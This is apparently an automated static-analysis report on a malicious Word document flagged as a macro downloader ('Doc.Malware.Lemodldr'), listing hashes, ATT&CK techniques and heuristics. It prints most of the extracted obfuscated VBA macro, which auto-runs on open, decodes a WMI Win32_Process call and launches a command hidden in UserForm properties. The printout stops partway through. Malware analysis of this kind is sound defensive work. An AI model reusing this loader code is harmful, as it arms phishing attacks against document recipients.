Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fdc27f3312f4db0c…

MALICIOUS

Office (OLE)

172.1 KB Created: 2020-07-31 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: a87e38f2d470c5c9862660e3fc3cf81f SHA-1: 775910375d34e8536bde0d9128cc6103d5049d6a SHA-256: fdc27f3312f4db0ce7b05834067f880340583938a7143f7b3a8ee442255bc19a
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening the document. Critical heuristics indicate a hidden UserForm is used as a command stager, employing obfuscated code with string manipulation and CreateObject calls. This pattern strongly suggests the macro's purpose is to download and execute a secondary malicious payload, consistent with the ClamAV detection name 'Doc.Malware.Lemodldr-9206112-0'.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9206112-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9206112-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5034 bytes
SHA-256: 8fcb7308ab2b7f568a4f6a0d815f0b29fbc75c78ca3c0803617af7bf16dc84a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CNXNYnplhyzewupnsay"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
BFXWFeicjzhuvtxdi.FHDHLafmlzrj
End Sub


Attribute VB_Name = "BFXWFeicjzhuvtxdi"
Attribute VB_Base = "0{C19C30A5-E44C-43BA-B8FF-2B8C481E42AB}{AF06DDA4-A8FD-45B2-A2ED-F2FB579AF095}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FHDHLafmlzrj()
Dim JUm3Y4Áv0ÕA As Integer
JUm3Y4Áv0ÕA = 4
Do While JUm3Y4Áv0ÕA < 4 + 8
JUm3Y4Áv0ÕA = JUm3Y4Áv0ÕA + 8: DoEvents
Loop
Dim qJfMXTsq As String
qJfMXTsq = Replace$("SV0ÄLNTNcMX", "SV0ÄLNT", "mU8àEA")
Dim BwQyi As String
BwQyi = Replace$("SHGy8ÅTZUh2àfw5Çjh", "SHGy8ÅTZU", "JMEbC")
CUQLRioxthwarabxmt = Chr(BFXWFeicjzhuvtxdi.Zoom + ((50 + 50 + 20) / 8))
Dim IKm1ÚK As Integer
IKm1ÚK = 5
Do While IKm1ÚK < 5 + 7
IKm1ÚK = IKm1ÚK + 4: DoEvents
Loop
BNMHRyljotovqcczf = "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddi0202093hui87(*Yhshhshs303030ddnm0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddgm0202093hui87(*Yhshhshs303030ddt0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd" + CUQLRioxthwarabxmt + "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd:0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddin0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd30202093hui87(*Yhshhshs303030dd20202093hui87(*Yhshhshs303030dd_0202093hui87(*Yhshhshs303030dd" + BFXWFeicjzhuvtxdi.QUGVGmbjrjpnasvt + "0202093hui87(*Yhshhshs303030ddro0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddce0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dd"
Dim cbSSJYfyE As String
cbSSJYfyE = Replace$("qCHAmOwKdYa", "qCHAmO", "ktbh")
ZFFMKjrkinapsjrfe = JHALYhyvupdatd(BNMHRyljotovqcczf)
Dim Ff5Ë8 As Integer
Ff5Ë8 = 6
Do While Ff5Ë8 < 6 + 5
Ff5Ë8 = Ff5Ë8 + 8: DoEvents
Loop
Set RUBIDtwgpkiluekudy = CreateObject(ZFFMKjrkinapsjrfe)
Dim NRK As String
NRK = Replace$("QAondeVoi4ËhF6", "QAondeV", "sSP7")
HCMZVvcbkitjloz = BFXWFeicjzhuvtxdi.YBQUOqfyptiavqow.ControlTipText
Dim tTRG As String
tTRG = Replace$("JnZlI4ÓQ", "JnZl", "VCMJiSHGyy")
NGMESjfdivcskwtj = jdjjdjdjj + (ZFFMKjrkinapsjrfe + CUQLRioxthwarabxmt + BFXWFeicjzhuvtxdi.OBOHEhuarkvgliptjn.ControlTipText + HCMZVvcbkitjloz)
Dim NWEbKjhI As Integer
NWEbKjhI = 2
Do While NWEbKjhI < 2 + 2
NWEbKjhI = NWEbKjhI + 3: DoEvents
Loop
COLBJwbhtvoyczaixmw = NGMESjfdivcskwtj + BFXWFeicjzhuvtxdi.QUGVGmbjrjpnasvt
Dim XFdLa As String
XFdLa = Replace$("XWMMET4ÖmQmUea0dZcG", "XWMMET4Öm", "T3SUj")
Set EAKYNcwhvwhaedeifaq = PUPKFstqxehw(COLBJwbhtvoyczaixmw)
Dim ejcPcM As String
ejcPcM = Replace$("YPcUjcHRCN", "YPcUjcH", "udQAon")
j6j3nn3nb4 = Array("nxuih yhioasy ywww huwhd", RUBIDtwgpkiluekudy. _
Create(BMZSLttsgkmd, YRHQNwxprraletapo, EAKYNcwhvwhaedeifaq), "diuhuq hioqcdsf")
Dim IUoiXA As String
IUoiXA = Replace$("FlKsSPqpFqDWRFi", "FlKsSPqp", "GmLtTRGEgu")
End Function
Function PUPKFstqxehw(RSPGQgvzydyhalarby)
Set PUPKFstqxehw = CreateObject(RSPGQgvzydyhalarby)
Dim nVtcC0ÈHL As String
nVtcC0ÈHL = Replace$("XIUoiXAjhAf5ÑDWRFi3Äm", "XIUoiXAjhA", "NOb8ÄEg8l")
PUPKFstqxehw.showwindow = HWGIMgspyggzaunpd + SVQTKlsamcdireiwxhl + EAXYXqisrgyopdxs
Dim qOuFCbL As String
qOuFCbL = Replace$("T4ÓotuCJkGBFv", "T4ÓotuC", "uKD")
End Function
Function JHALYhyvupdatd(BZPMEflzzzxqwxwl)
QPCWPtdzsfdsyv = BZPMEflzzzxqwxwl
Dim PFFvM As Integer
PFFvM = 7
Do While PFFvM < 7 + 4
PFFvM = PFFvM + 6: DoEvents
Loop
PPDRQrcegtyvg = Split _
(QPCWPtdzsfdsyv, "0202093hui87(*Yhshhshs303030dd")
Dim JfMXTsqRQ As String
JfMXTsqRQ = Replace$("GLN3ÈNcgOmUtr", "GLN3ÈNc", "AD6à")
RUGTBduzadqdue = mm6m6m6m + Join(PPDRQrcegtyvg, o7o7oej5)
Dim 
... (truncated)